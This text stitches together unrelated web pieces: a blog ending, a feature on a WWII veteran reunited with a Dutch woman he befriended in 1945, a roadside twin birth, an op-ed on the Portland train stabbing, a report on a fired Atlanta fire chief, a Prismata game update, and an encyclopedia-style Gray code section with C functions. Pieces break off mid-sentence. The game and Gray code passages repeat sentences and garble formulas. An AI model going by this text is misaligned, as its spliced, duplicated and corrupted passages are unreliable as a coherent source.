I left him with his hashbrowns and resentment. The other old guys nodded. They had a mission: be silent. Be silent as the grave. Don’t give him something to lash out at. Put him in solitary confinement with his soul, and let him figure it out.
I hope he does.
Tags: anarchism, hippies, leftism, Postmodernism
Please enable JavaScript to view the comments powered by Disqus.The reunion of G.I. Wilbur and little Willy Huys was 66 years in the making
The 96-year-old World War II Army veteran greets guests at his cozy west Las Vegas home from a creaky but comfortable recliner. He wears large glasses that mask much of his face, and his battle-weary legs are draped in a green-gray blanket.
As Wilbur Brewer’s longtime caregiver, Shirley Frank, makes the introduction, the old soldier smiles slightly and says, “Forgive me for not getting up.”
No problem.
Seated on a couch just to Wilbur’s left are two women. One is Gerty Warren, visiting Brewer from Victorville, Calif. The other is her sister, Willy Huys, visiting Wilbur from Canberra, Australia. Shirley, her hair a stark shock of white, sits in a chair at Wilbur’s right, keeping close watch of his responses and disposition, ably filling in the blanks in Wilbur’s recollections.
Wilbur is here and there in conversation, which is understandable given that he is closer to 100 years of age than 90. He shuts his eyes, then pops them open and grins. He speaks clearly and responds swiftly.
Even so, Wilbur’s memory is of course not as vivid as it was in his youth, and it takes some puzzle-piece assembling to sort out just what brought two sisters who live thousands of miles apart, a loving Las Vegas caregiver and a stoic Army veteran to this moment. Asked if he can remember the phone call from 6 months ago, when Willy and Gerty re-entered his life, Wilbur shrugs and says, “No, I can’t remember when that was. I don’t remember 6 months ago.”
It hardly matters, as there is a clear intuitive familiarity for Wilbur and the two women who spent years trying to track him down. They laugh and chat, and in the moment, they all share in a remarkable tale of reunion, one that spans several decades and dates to World War II.
***
Wilbur Brewer and Willy Huys, who today is 72 years old but looks 20 years younger, are at the center of this tale. It all begins in the Dutch village of Tegelen, which sits just across the Netherlands-Germany border from the German town of Kaldenkirchen. The Germans had stormed Tegelen, bombing out most of its homes and buildings, but in the war’s waning months, Allied forces had regained control of the battle-scarred village. In May 1945, U.S. tanks rumbled into Tegelen as German forces were being blasted out of the heavily damaged town.
Aboard one of those tanks was Wilbur Brewer, a 31-year-old tank operator assigned to The 784th Tank Battalion, one of the few black armored units deployed during World War II, serving under Lt. Col. George Dalia. The phalanx of rolling military equipment entered Tegelen, turning into a dirt road and toward a field across from a large roof-tile factory no longer in operation, as the Germans had captured all the men working at the plant and herded them into labor camps.
Citizens flooded the area, including hundreds of grateful children offering the rescuing soldiers hard candy, chocolate and cigarettes. Wilbur spotted one of the children standing alone in the crowd, a 6-year-old girl named Willy Huys.
What Wilbur did next helped forge a lifelong, if long interrupted, friendship.
“Wilbur picked me out of all these children and carried me around on his shoulders,” Willy recalls. “I directed him to my home. When my mother opened the door, I showed her Wilbur.”
There stood a lean, 31-year-old U.S. Army soldier.
“He adopted our family and gave us food parcels, and came to church with us on Sunday,” Willy says. She had contracted tuberculosis and was taken by Red Cross officials to a nearby sanitarium for treatment.
“Wilbur was there to say farewell to me, and he cried,” Willy says. It was not the final farewell, but the two would not meet face-to-face for another 66 years.
When Wilbur returned to America, to his hometown of Detroit, specifically, he shipped clothes, shoes and Christmas stockings stuffed with candy each year. Three seashells he had sent to Tegelen are still in the Huys family. He also mailed a portrait of him and his wife, Iona, known as “Iney,” who passed away in 2003.
“We have kept that portrait in the family, and it stood on our sideboard for all those years until my mother died in 1986,” Willy says.
Over the next several years, Wilbur placed Willy on a sponsorship list to visit the United States and see his family in Detroit, a rare opportunity as only 1,500 residents of the Netherlands were granted such visas to travel to America. But the process for approval was lengthy, and in that span, Willy fell in love with the man who would become her husband who operated a small newspaper in the region that was shut down when the Nazis moved into Holland.
The two moved to Canberra, Australia, in the early 1960s. It was no random location: Willy’s uncle lived in that city, and the two sought to start a new life far removed from their hometown.
The Huys family’s contact with Wilbur continued intermittently for many years until 1979, when Wilbur moved to Las Vegas. He had worked for years as an IRS agent and moved here to retire.
This was a rare case where an IRS agent was being sought rather than doing the seeking. It seemed to the Huys family that Wilbur had simply vanished.
“My mother sent several letters to him,” Willy recalls, “but all of them were returned to sender.” After a few years, Gerty’s husband, who was a U.S. serviceman, attempted to find Wilbur’s whereabouts, “but had no luck,” as Willy says.
This was in the mid-1980s, the days before a simple online search of an individual’s name on the Internet would provide at least a toehold as to his or her whereabouts. Years, and decades, passed. Willy had practically given up hope when it was finally suggested that she make one more push on the Internet to track down the Wilbur Brewer of her youth.
“I said, ‘He could not possibly be alive,’ ” Willy says.
Nonetheless, Willy ran a search of such details as Wilbur’s full name and that Iney had been a schoolteacher. She also knew that Wilbur and Iney were members of a Presbyterian Church and added that information, too.
Through the magic of the Internet, Willy found her long-lost G.I. in November of last year.
“Up came all the information I had been looking for,” Willy says, “including that Iona had passed away in Las Vegas.” She found that Wilbur was still living, at age 96, and a phone number in Las Vegas matching his name. Gerty made the initial call from Victorville to Wilbur’s home, and, as always, Shirley picked up the phone.
“We get so many people asking for money on donations to some charity,” Shirley says. “I have to make sure Wilbur doesn’t answer the phone and just start giving money to strangers.”
Gerty asked Shirley if she had reached the home of a World War II veteran named Wilbur Brewer. She had. Then she asked if Wilbur was black and served as a tank operator in Holland in 1945.
Through all the questions, Shirley halted when Gerty asked about Wilbur’s ethnicity.
“I knew when she asked if Wilbur was black that they knew who he was,” Shirley says. “It wasn’t at all a racial thing. They were asking about a specific physical characteristic that they remembered, and it was him.” Shirley turned to Wilbur and relayed the questions, and Wilbur remembered carrying a little girl through the streets of Tegelen near the end of the war.
“Gerty rang me back in Australia and said, ‘It’s him, and you must phone him now,’ ” Willy says. “I did. We finally had found him. My mother would have been so happy if she had experienced this.”
Willy and Gerty made arrangements to meet Wilbur and flew to Las Vegas for an initial meeting on Aug. 12. The two returned for another visit Aug. 30. The conversations have been lively, friendly and a means for everyone to provide a closing chapter to this remarkable saga.
What’s next?
“We plan on staying in touch,” Willy says, smiling. “I know where to find him now.”
From his recliner, Wilbur smiles, too. Asked if he looks forward to renewing his friendship with the little girl he scooped from the streets of Tegelen, he nods and says, “This is the greatest thing ever.”
Follow John Katsilometes on Twitter at twitter.com/JohnnyKats. Also, follow "Kats With the Dish" at twitter.com/KatsWithTheDish.Lynette Hales from Sandy, UT became a mom and a superhero Sunday morning. She delivered not one, but two babies on the side of a desert road.
Hales wasn't due until August, FOX13 reports, but she went into early labor during a road trip to Nevada. A friend tried to drive Hales to the hospital around 9:00 AM but had to pull over when the first baby was ready to come out. Hales delivered baby number one, named J.J., while her friend called 911.
J.J. wasn't breathing at first so Hales performed CPR on her newborn son. Troopers arrived and continued the CPR until he started breathing, KUTV reports.
And then, it was time for troopers to deliver J.J.'s brother, named A.J. "It gave out a healthy scream and the baby was okay," Sgt. Jimmy Banks told KUTV.
Mom and her two new sons, who both weighed less than 4 lbs., were rushed to the hospital.Jeremy Christian, an avowed white supremacist with a violent past, is the alleged killer of Rick Best and Taliesin Myrddin Namkai-Meche, but Donald Trump is not blameless for their deaths. The murder of these two heroic men and the near death of a third, Micah David-Cole Fletcher, happened last Friday in Portland, Oregon, when, according to numerous reports, Christian boarded an afternoon commuter train and began hurling anti-Muslim insults at two teenage girls, one of whom was wearing a hijab.
A witness, Rachel Macy, told the Oregonian what happened next. She reported that the three men were attempting to form a barrier between Christian and the girls to protect the teenagers from Christian’s threats when Christian suddenly brandished a knife and slashed all three men in their necks. Blood was immediately everywhere. “It was just a swift, hard hit,” Macy said. “It was a nightmare.”
A nightmare, indeed. In fact, deadly violence due to what you wear on your head is the very specific nightmare of every Muslim woman who wears a hijab in the US today. Highly visible in a toxic Islamophobic environment, Muslim women in hijab endure all kinds of unconscionable abuse daily.
The FBI does not track hate crimes by gender, but research in the Netherlands and France offers some measure of the scale of the problem. There, studies show that Muslim women account for 90% and 81% of reported anti-Muslim incidents involving violence respectively. (In most cases, the Muslim woman was wearing a headscarf.) To the anti-Muslim bigots, a hijab is not a sign of piety. It’s a target.
Islamophobia grows louder in North Carolina: 'Can we not kill them all?' Read more
By the way, if you feel inclined to tell Muslim women to remove their hijabs as a way of avoiding violence, please don’t. Better yet, instruct the bigots not to attack them instead.
But if Christian’s act is a nightmare, Trump’s presidency is the daymare, a horror show made all the worse as it’s experienced while being wide awake. Under increasing pressure to issue a condemnation of the act, Trump finally tweeted a message concerning this heinous crime. “The violent attacks in Portland on Friday are unacceptable,” the tweet read. “The victims were standing up to hate and intolerance. Our prayers are w/ them.”
This may sound presidential, until you look into it a bit. First, we can note that the tweet came not from Trump’s personal account, where we have (unfortunately) become accustomed to hearing the (unfortunate) thoughts of Mr Trump, but from @POTUS, which is chiefly run by his staff.
Incidentally, it’s easy to tell the difference between @POTUS and @realDonaldTrump by the former’s lack of spelling errors, cheap insults and exclamation points!
Understanding that this message of condemnation was tweeted from @POTUS and not @realDonaldTrump is crucial because Trump’s far-right followers will see an @POTUS tweet more as an exhibition of the exigencies of presidential performance than as an expression of Trump’s principles. They won’t be wrong.
Second, the tweet makes no mention of the anti-Muslim cause of this near triple murder in the country Trump now presides over. This absence is far from surprising. Trump has almost never acknowledged even the existence of American Muslims.
His now famous comment of “Islam hates us” indicates that Muslims definitionally cannot be true Americans, ie “us”. His official statement congratulating Muslims on the beginning of Ramadan spends more words on terrorism than on Islam. And he never courted American Muslims during the election season. In Trump’s political lexicon, Muslims are to be extremely vetted, banned, registered and bombed –never tolerated, let alone respected.
But Muslims are hardly the only group to suffer under a newly virulent extreme right wing. Richard Collins III, who was African American, was also stabbed to death recently on the University of Maryland campus, allegedly by a member of the white supremacist “Alt-Reich: Nation”.
Last March in New York City, another white supremacist, James Jackson, allegedly killed Timothy Caughman, a 66-year-old African American, also with a knife. (What is it with crazy white men and their blades?) And Desiree Magnum, the non-Muslim girl on the train in Portland, is also African American. Whether black or Muslim or any kind of other, categories collapse in the minds of racists once difference from them is perceived.
A white supremacist slew a man in Manhattan. Why is the president silent? | Moustafa Bayoumi Read more
But the point we must grasp is deeper and more consequential than merely affirming how Trump’s lexicon validates a logic of violence towards Muslims and African Americans. The real conclusion to draw is that Trump is not, never will be, and never even aims to be a president for all the people of the United States. On the contrary, Trump is and only will be a president for himself.
With his self-aggrandizing behavior, this is not a difficult notion to grasp, but it’s the far right that doesn’t meaningfully understand this point. The far right foolishly believes Trump is their president, as if Trump has the presence of mind to believe in any ideology, let alone contemporary forms of fascism. Yet by not rupturing ties with the white nationalists and hate-mongers that he has courted, Trump emboldens their destructive capabilities to a point we soon may not be able to fathom and he may not be able to contain.
James Buchal, the Republican chair for the greater Portland area, told the Guardian that a rally scheduled for 4 June should not rely on the police for protection. Instead, he says, rightwing demonstrators ought to hire far-right militia groups such the Oath Keepers and the Three Percenters to guard them while marching. Both the Oath Keepers and the Three Percenters are extremist anti-government groups who urge violent “self-defense” against our system of government.
In Portland, marches by rightwing groups are currently being planned for 4 June and also 10 June, the same day that the anti-Muslim organization Act for America is planning a nationwide “March Against Sharia” in major urban centers across the country. Unsurprisingly, Act for America has also called upon these same groups to provide “security” at their rallies.
Trump’s romance with the far right has brought us to a point where our own politicians are demanding that rightwing extremist groups should usurp the power and authority of the state. We simply can’t let that happen.
The violence inflicted by the state on minorities is already bad enough. Imagine the conflicts and divisions in the country if rightwing extremists get their wishes to assume the security functions of government. Trump gave this looming combat legitimacy. And no tweet from Trump, from any account, will be able to stop it.Former Atlanta Fire Chief Kelvin Cochran has filed a federal complaint that he is a victim of religious discrimination after losing his job after his writing about his views on homosexuality attracted attention.
Cochran, who is also a deacon at Elizabeth Baptist Church, was terminated after controversial passages about homosexuality were discovered in his book, “Who Told You You Are Naked?” self-published in 2013.
According to the Atlanta Journal Constitution, Cochran was fired by Atlanta Mayor Kasim Reed after his objection to Cochran’s description of homosexuality as “vile, vulgar and inappropriate at work.”
The complaint was filed with the Equal Employment Opportunity Commission on behalf of Cochran by his attorney, Jonathan Crumly, who alleges that Cochran’s termination is in violation of the Civil Rights Act of 1964.
“Americans are guaranteed the freedom to live without fear of losing their jobs because of their beliefs and thoughts. We are continuing to evaluate all available legal options to vindicate Chief Cochran after his unjust termination,” Crumly told the Atlanta Journal Constitution.
Crumly is affiliated with Alliance Defending Freedom, an organization that defends freedom of religion.
The Constitution reports that Cochran was told by city investigators that though they found “zero” examples of discrimination by Cochran, because he said “my faith influenced my leadership style,” he had to be fired.
City of Atlanta spokeswoman Anne Torres told the Atlanta Journal Constitution that the city would defend the mayor’s decision “whether through the EEOC administrative process or in any other appropriate forum.”
Ryan Anderson, the William E. Simon Fellow in Religion and a Free Society at The Heritage Foundation, said that “ordinary Americans—both those in favor of gay marriage and those who oppose gay marriage—understand that public servants shouldn’t be punished for their speech as private citizens.”
“This case,” Anderson added, “is another example of how some activists are pushing to blacklist those with traditional beliefs. Most Americans don’t like this—only the ideologues do. So while some activists push for this, ordinary citizens, whether they’re for or against gay marriage, do not want the government punishing people over their beliefs about marriage.”Hey everyone!
I’m pleased to announce that we’ll be deploying a pretty big content update this weekend. The update will include:
New balance tweaks
Three new Prismata units
New skins
A *ton* of new emotes
Some new software features
Balance Tweaks
We’re making only four changes, but they’ve each got quite a lot behind them! They’ll go live this weekend.
Odin – Cost decreased from 21BBB to 19BBB, HP decreased from 5 to 4.
For a long time, Odin has been on our list of “Prismata units that would still get bought a ton even if they were made more expensive”. This alone isn’t a problem; plenty of other units share this feature and still lead to interesting games with a lot of variety. However, we felt that Odin wasn’t doing a good job at balancing its attacking and defensive capabilities. The current Odin is almost always used as a defender, with its “sac a Steelsplitter for 4 damage” ability often acting as a never-executed threat. The culprit: Odin’s high HP, which adds an additional opportunity cost to clicking it (if you don’t have another 5HP defender, then clicking Odin reduces the amount of damage you can absorb on your next defense phase).
In the name of “finding the best version of every Prismata unit”, we’ve been experimenting with a 4HP Odin. After testing, we found that it led to interesting decisions far more often, so we’ve decided to push the change! Trust me, you’ll be debating whether you want to click it on many turns, and clicking it far more frequently overall.
As for its new cost, 19BBB was chosen to avoid some of the more degenerate openings (remember, Odin still threatens 7 damage as soon as it’s bought!) On the whole, it’s probably a slight bit weaker than before, but still an excellent buy in many situations.
Drake – Cost decreased from 17BBB to 12BB. Attack decreased from 3 to 2 (still sacrificing a Blastforge and doing 2 additional damage when clicked).
Drake is starting to remind me of Deadeye Operative—it’s been proving a tough one to get right. Originally priced at 14BBB many years ago, Drake has been gradually nerfed on 3 separate occasions to its current 17BBB cost after we slowly came to understand just how powerful the threat of its click ability truly is. The final 17BBB nerf was added after we observed a pretty strong player 1 bias (almost 3%, slightly higher in 1700+ games) in games involving the old 16BBB Drake (mostly due to p1 having very convenient builds available to get 2 or 3 Drakes). The 17BBB Drake is OK, but we want to see if we can do better.
Drake does a few things right. Like many units with a click-ability, Drake gives players a chance to express their skill through the choice of when to click it. In theory, Drake can also solve some of the tech problems of BBB units; by giving you a chance to do something useful with your Blastforges, you can switch away from BBB tech later in the game if you like. Unfortunately, that seldom works in practice, because Drake games often involve such huge amounts of damage that switching away from BBB doesn’t work, and players generally want to have enough Blastforges to threaten the use of all their Drakes anyway. In unit sets with no extra defenses available, this led to Drake games that were often just a matter of who ran out of Walls first.
We tried many things to fix this, including:
A stronger click ability (e.g. 3 extra damage instead of 2). This certainly increased the rate that Drake was clicked, but the strength of the ability encouraged players to always replace the lost Blastforges.
This certainly increased the rate that Drake was clicked, but the strength of the ability encouraged players to always replace the lost Blastforges. A weaker click ability (e.g. 1 extra damage instead of 2, or “pay B when clicking”). We thought that it might give defenders more interesting decisions (e.g. sometimes allowing the opponent to click a Drake in order to breach), but it didn’t work that well in practice; it’s hard for defenders to make the attacker’s decision difficult as it’s almost always correct to click the Drake if it kills an extra Wall. The “pay B when clicking” solution just felt awkward, as no other “sac-to-attack” unit has that feature.
We thought that it might give defenders more interesting decisions (e.g. sometimes allowing the opponent to click a Drake in order to breach), but it didn’t work that well in practice; it’s hard for defenders to make the attacker’s decision difficult as it’s almost always correct to click the Drake if it kills an extra Wall. The “pay B when clicking” solution just felt awkward, as no other “sac-to-attack” unit has that feature. A legendary Drake. We tried a stronger Drake (3 extra damage when clicked), while giving the unit only a single supply to prevent crazy mirrors in which both players had multiple Drakes and threatened a ton of damage. It was OK, but we thought we could do better.
Eventually, we simply settled on a smaller Drake. By decreasing Drake’s base attack to 2 and reducing its tech cost to BB, players could still rush Drakes, but they would be faced with more options in acquiring additional techs. BBB tech remains an option, providing an extra threat if a third Drake is constructed. Meanwhile, the most aggressive rushes actually lose to base set counters (Rhinos are quite good against Drakes because of their promptness). The new 12BB 2-attack Drake is probably somewhere between the 16BBB and 17BBB Drakes in strength, and it proved to be excellent in test games. We hope you’ll enjoy it!
Trinity Drone – Cost decreased from 2EG to 2G.
Trinity Drone is a unit that, outside of breachproof strategies, mostly isn’t that good. It costs more than a regular Drone, can’t be converted to Forcefields late in the game, and can’t be used as fodder for Venge Cannons, Plasmafiers, or Tia Thurnax. Its main benefit was to provide some flexibility in the opening (sometimes you’d really love to spend G instead of a gold when buying a Drone, such as with p2 DD/DDC/DA+Trinity). Unfortunately, we found that these opening benefits mostly fell on player 2 (e.g. p1 DD/DC/DB+Trinity is mostly identical to DD/DD/DCB), so they weren’t really benefits at all, design-wise!
We generally felt that Trinity could afford to be a bit stronger and offer more utility (both in breachproof situations and otherwise), but there weren’t too many options available. Giving Trinity more HP wouldn’t help in non-breachproof situations, and actually caused problems in breachproof games, because players would often attack Trinity Drones last. We also considered various click abilities for Trinity Drone, but they either proved too strong (pay 4HP for an extra gold) or clunky (sacrifice, gain three drones).
The 2G cost is actually something that we’ve tried in the past. For quite a long time (before we normalized all the costs and put energy in the cost of all economic units), Trinity actually used to cost only 2G. It was quite an exciting unit, because you could ramp up your economy quite quickly (without building extra engineers), and you could also suddenly convert all your Drones into Trinity Drones if your opponent threatened to destroy them in a breach. It’s certainly strong, and Will was particularly worried about its economic ramping potential, but after seeing the effects of Thorium Dynamo (a similar unit), we’re pretty comfortable with the change.
Tatsu Nullifier – Cost increased from 11RRRR to 12RRRR.
Tatsu Nullifier is one of the most dynamic, game-swinging units in Prismata. It can be completely unplayable in some sets, and completely dominating in others. It can lead to situations in which players build a Blastforge, witness their opponent’s reply, and then suddenly drop a double Animus in response, wasting the Blastforge for the rest of the game. It’s also a much-hated unit among beginners, who typically find it very difficult to play against.
Now, we like strong units, and we enjoy units whose mere existence forces players to think carefully about their opening tech choices. But Tatsu can be very punishing, often in ways that are quite one-sided. In particular, some combos involving units like Corpus or Nitrocybe can result in players being in unwinnable situations just a few turns into the game. So, in an effort to smooth out these openings, Tatsu Nullifier is finally getting nerfed.
New Prismata Units
We’ll be launching three new units at 12:01 am Eastern Time this Saturday, just after midnight! They’ll be revealed here, one a day! Here’s the first one, an extremely flexible economic attacker:
Fun fact: Blood Phage is one of the oldest Prismata unit designs, originating from a unit created in 2011 that combined attack and gold-production into a single unit. The red-to-gold conversion is a more recent innovation but we really love it!
The next spoiler will go live tomorrow, less than an hour from now!
Like last time, we’ll make these new units more common during the first 24 hours after their release.
New Skins and Emotes
Yes, we’re aware that emotes haven’t been getting much love lately, and that most of the rewards in the armory are skins. Not for much longer! We’ll be adding a ton of emotes this weekend. Plus, more skins:
New Prismata Features
A few small features that are coming soon:
A new emote browser. We’re working on a new way to view and equip emotes. It will be much more convenient when you’re browsing through a collection of dozens (or hundreds?) of them.
We’re working on a new way to view and equip emotes. It will be much more convenient when you’re browsing through a collection of dozens (or hundreds?) of them. Gold and Platinum Arena. You’ll be able to use shards to enter Gold and Platinum tier arena runs, where the stakes are higher and the bonus stars are plentiful. There will also be occasional random ticket drops! Once we’re confident that everything is working, we’ll be handing out golden passes and weekly platinum tickets to our Kickstarter backers and supporters.
You’ll be able to use shards to enter Gold and Platinum tier arena runs, where the stakes are higher and the bonus stars are plentiful. There will also be occasional random ticket drops! Once we’re |
been many others since. In recent times a Gray code counter can be implemented as a state machine in Verilog. In order to produce the next count value, it is necessary to have some combinational logic that will increment the current count value that is stored in Gray code. Probably the most obvious way to increment a Gray code number is to convert it into ordinary binary code, add one to it with a standard binary adder, and then convert the result back to Gray code. This approach was discussed in a paper in 1996[22] and then subsequently patented by someone else in 1998 US5754614. Other methods of counting in Gray code are discussed in a report by Robert W. Doran, including taking the output from the first latches of the master-slave flip flops in a binary ripple counter.[23]
Perhaps the most common electronic counter with the "only one bit changes at a time" property is the Johnson counter.
Gray code addressing [ edit ]
As the execution of program code typically causes an instruction memory access pattern of locally consecutive addresses, bus encodings using Gray code addressing instead of binary addressing can reduce the number of state changes of the address bits significantly, thereby reducing the CPU power consumption in some low-power designs.[24][25]
Constructing an n-bit Gray code [ edit ]
The first few steps of the reflect-and-prefix method.
4-bit Gray code permutation
The binary-reflected Gray code list for n bits can be generated recursively from the list for n − 1 bits by reflecting the list (i.e. listing the entries in reverse order), prefixing the entries in the original list with a binary 0, prefixing the entries in the reflected list with a binary 1, and then concatenating the original list with the reversed list.[11] For example, generating the n = 3 list from the n = 2 list:
2-bit list: 00, 01, 11, 10 Reflected: 10, 11, 01, 00 Prefix old entries with 0: 000, 001, 011, 010, Prefix new entries with 1: 110, 111, 101, 100 Concatenated: 000, 001, 011, 010, 110, 111, 101, 100
The one-bit Gray code is G 1 = (0, 1). This can be thought of as built recursively as above from a zero-bit Gray code G 0 = ( Λ ) consisting of a single entry of zero length. This iterative process of generating G n+1 from G n makes the following properties of the standard reflecting code clear:
G n is a permutation of the numbers 0,..., 2 n − 1. (Each number appears exactly once in the list.)
is a permutation of the numbers 0,..., 2 − 1. (Each number appears exactly once in the list.) G n is embedded as the first half of G n +1.
is embedded as the first half of. Therefore, the coding is stable, in the sense that once a binary number appears in G n it appears in the same position in all longer lists; so it makes sense to talk about the reflective Gray code value of a number: G ( m ) = the m -th reflecting Gray code, counting from 0.
, in the sense that once a binary number appears in it appears in the same position in all longer lists; so it makes sense to talk about reflective Gray code value of a number: ( ) = the -th reflecting Gray code, counting from 0. Each entry in G n differs by only one bit from the previous entry. (The Hamming distance is 1.)
differs by only one bit from the previous entry. (The Hamming distance is 1.) The last entry in G n differs by only one bit from the first entry. (The code is cyclic.)
These characteristics suggest[further explanation needed] a simple and fast method of translating a binary value into the corresponding Gray code. Each bit is inverted if the next higher bit of the input value is set to one. This can be performed in parallel by a bit-shift and exclusive-or operation if they are available: the nth Gray code is obtained by computing n ⊕ ⌊ n / 2 ⌋ {\displaystyle n\oplus \lfloor n/2\rfloor }
A similar method can be used to perform the reverse translation, but the computation of each bit depends on the computed value of the next higher bit so it cannot be performed in parallel. Assuming g i {\displaystyle g_{i}} is the i {\displaystyle i} th Gray-coded bit ( g 0 {\displaystyle g_{0}} being the most significant bit), and b i {\displaystyle b_{i}} is the i {\displaystyle i} th binary-coded bit ( b 0 {\displaystyle b_{0}} being the most-significant bit), the reverse translation can be given recursively: b 0 = g 0 {\displaystyle b_{0}=g_{0}}, and b i = g i ⊕ b i − 1 {\displaystyle b_{i}=g_{i}\oplus b_{i-1}}. Alternatively, decoding a Gray code into a binary number can be described as a prefix sum of the bits in the Gray code, where each individual summation operation in the prefix sum is performed modulo two.
To construct the binary-reflected Gray code iteratively, at step 0 start with the c o d e 0 = 0 {\displaystyle \mathrm {code} _{0}=0}, and at step i > 0 {\displaystyle i>0} find the bit position of the least significant 1 in the binary representation of i {\displaystyle i} and flip the bit at that position in the previous code c o d e i − 1 {\displaystyle \mathrm {code} _{i-1}} to get the next code c o d e i {\displaystyle \mathrm {code} _{i}}. The bit positions start 0, 1, 0, 2, 0, 1, 0, 3,... (sequence A007814 in the OEIS). See find first set for efficient algorithms to compute these values.
Converting to and from Gray code [ edit ]
The following functions in C convert between binary numbers and their associated Gray codes. While it may seem that Gray-to-binary conversion requires each bit to be handled one at a time, faster algorithms exist.[26]
/* * This function converts an unsigned binary * number to reflected binary Gray code. * * The operator >> is shift right. The operator ^ is exclusive or. */ unsigned int BinaryToGray ( unsigned int num ) { return num ^ ( num >> 1 ); } /* * This function converts a reflected binary * Gray code number to a binary number. * Each Gray code bit is exclusive-ored with all * more significant bits. */ unsigned int GrayToBinary ( unsigned int num ) { unsigned int mask = num >> 1 ; while ( mask!= 0 ) { num = num ^ mask ; mask = mask >> 1 ; } return num ; } /* * A more efficient version for Gray codes 32 bits or fewer * through the use of SWAR (SIMD within a register) techniques. * It implements a parallel prefix XOR function. The assignment * statements can be in any order. * * This function can be adapted for longer Gray codes by adding steps. * A 4-bit variant changes a binary number (abcd)2 to (abcd)2 ^ (00ab)2, * then to (abcd)2 ^ (00ab)2 ^ (0abc)2 ^ (000a)2. */ unsigned int GrayToBinary32 ( unsigned int num ) { num = num ^ ( num >> 16 ); num = num ^ ( num >> 8 ); num = num ^ ( num >> 4 ); num = num ^ ( num >> 2 ); num = num ^ ( num >> 1 ); return num ; }
Special types of Gray codes [ edit ]
In practice, "Gray code" almost always refers to a binary-reflected Gray code (BRGC). However, mathematicians have discovered other kinds of Gray codes. Like BRGCs, each consists of a lists of words, where each word differs from the next in only one digit (each word has a Hamming distance of 1 from the next word).
n-ary Gray code [ edit ]
Ternary number → ternary Gray code 0 → 000 1 → 001 2 → 002 10 → 012 11 → 011 12 → 010 20 → 020 21 → 021 22 → 022 100 → 122 101 → 121 102 → 120 110 → 110 111 → 111 112 → 112 120 → 102 121 → 101 122 → 100 200 → 200 201 → 201 202 → 202 210 → 212 211 → 211 212 → 210 220 → 220 221 → 221 222 → 222
There are many specialized types of Gray codes other than the binary-reflected Gray code. One such type of Gray code is the n-ary Gray code, also known as a non-Boolean Gray code. As the name implies, this type of Gray code uses non-Boolean values in its encodings.
For example, a 3-ary (ternary) Gray code would use the values {0, 1, 2}. The (n, k)-Gray code is the n-ary Gray code with k digits.[27] The sequence of elements in the (3, 2)-Gray code is: {00, 01, 02, 12, 11, 10, 20, 21, 22}. The (n, k)-Gray code may be constructed recursively, as the BRGC, or may be constructed iteratively. An algorithm to iteratively generate the (N, k)-Gray code is presented (in C):
// inputs: base, digits, value // output: Gray // Convert a value to a Gray code with the given base and digits. // Iterating through a sequence of values would result in a sequence // of Gray codes in which only one digit changes at a time. void toGray ( unsigned base, unsigned digits, unsigned value, unsigned gray [ digits ]) { unsigned baseN [ digits ]; // Stores the ordinary base-N number, one digit per entry unsigned i ; // The loop variable // Put the normal baseN number into the baseN array. For base 10, 109 // would be stored as [9,0,1] for ( i = 0 ; i < digits ; i ++ ) { baseN [ i ] = value % base ; value = value / base ; } // Convert the normal baseN number into the Gray code equivalent. Note that // the loop starts at the most significant digit and goes down. unsigned shift = 0 ; while ( i -- ) { // The Gray digit gets shifted down by the sum of the higher // digits. gray [ i ] = ( baseN [ i ] + shift ) % base ; shift = shift + base - gray [ i ]; // Subtract from base so shift is positive } } // EXAMPLES // input: value = 1899, base = 10, digits = 4 // output: baseN[] = [9,9,8,1], gray[] = [0,1,7,1] // input: value = 1900, base = 10, digits = 4 // output: baseN[] = [0,0,9,1], gray[] = [0,1,8,1]
There are other Gray code algorithms for (n,k)-Gray codes. The (n,k)-Gray code produced by the above algorithm is always cyclical; some algorithms, such as that by Guan,[27] lack this property when k is odd. On the other hand, while only one digit at a time changes with this method, it can change by wrapping (looping from n − 1 to 0). In Guan's algorithm, the count alternately rises and falls, so that the numeric difference between two Gray code digits is always one.
Gray codes are not uniquely defined, because a permutation of the columns of such a code is a Gray code too. The above procedure produces a code in which the lower the significance of a digit, the more often it changes, making it similar to normal counting methods.
See also Skew binary number system, a variant ternary number system where at most 2 digits change on each increment, as each increment can be done with at most one digit carry operation.
Balanced Gray code [ edit ]
Although the binary reflected Gray code is useful in many scenarios, it is not optimal in certain cases because of a lack of "uniformity".[28] In balanced Gray codes, the number of changes in different coordinate positions are as close as possible. To make this more precise, let G be an R-ary complete Gray cycle having transition sequence ( δ k ) {\displaystyle (\delta _{k})} ; the transition counts (spectrum) of G are the collection of integers defined by
λ k = | { j ∈ Z R n : δ j = k } |, for k ∈ Z n {\displaystyle \lambda _{k}=|\{j\in \mathbb {Z} _{R^{n}}:\delta _{j}=k\}|\,,{\text{ for }}k\in \mathbb {Z} _{n}}
A Gray code is uniform or uniformly balanced if its transition counts are all equal, in which case we have λ k = R n / n {\displaystyle \lambda _{k}=R^{n}/n} for all k. Clearly, when R = 2 {\displaystyle R=2}, such codes exist only if n is a power of 2. Otherwise, if n does not divide R n {\displaystyle R^{n}} evenly, it is possible to construct well-balanced codes where every transition count is either ⌊ R n / n ⌋ {\displaystyle \lfloor R^{n}/n\rfloor } or ⌈ R n / n ⌉ {\displaystyle \lceil R^{n}/n\rceil }. Gray codes can also be exponentially balanced if all of their transition counts are adjacent powers of two, and such codes exist for every power of two.[29]
For example, a balanced 4-bit Gray code has 16 transitions, which can be evenly distributed among all four positions (four transitions per position), making it uniformly balanced:[28]
0 1 1 1 1 1 1 0 0 0 0 0 0 1 1 0 0 0 1 1 1 1 0 0 1 1 1 1 0 0 0 0 0 0 0 0 1 1 1 1 1 0 0 1 1 1 0 0 0 0 0 1 1 0 0 0 0 0 1 1 1 1 1 1
whereas a balanced 5-bit Gray code has a total of 32 transitions, which cannot be evenly distributed among the positions. In this example, four positions have six transitions each, and one has eight:[28]
1 1 1 1 1 0 0 0 0 1 1 1 1 1 1 0 0 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 1 1 1 1 1 1 0 0 0 1 1 0 0 0 1 1 0 0 1 1 1 0 0 0 0 0 0 1 1 1 0 0 0 1 1 1 1 1 1 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 1 1 1 1 1 1 0 0 0 0 0 0 1 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 1 1 0 0 0 1 1 1 1 1 1
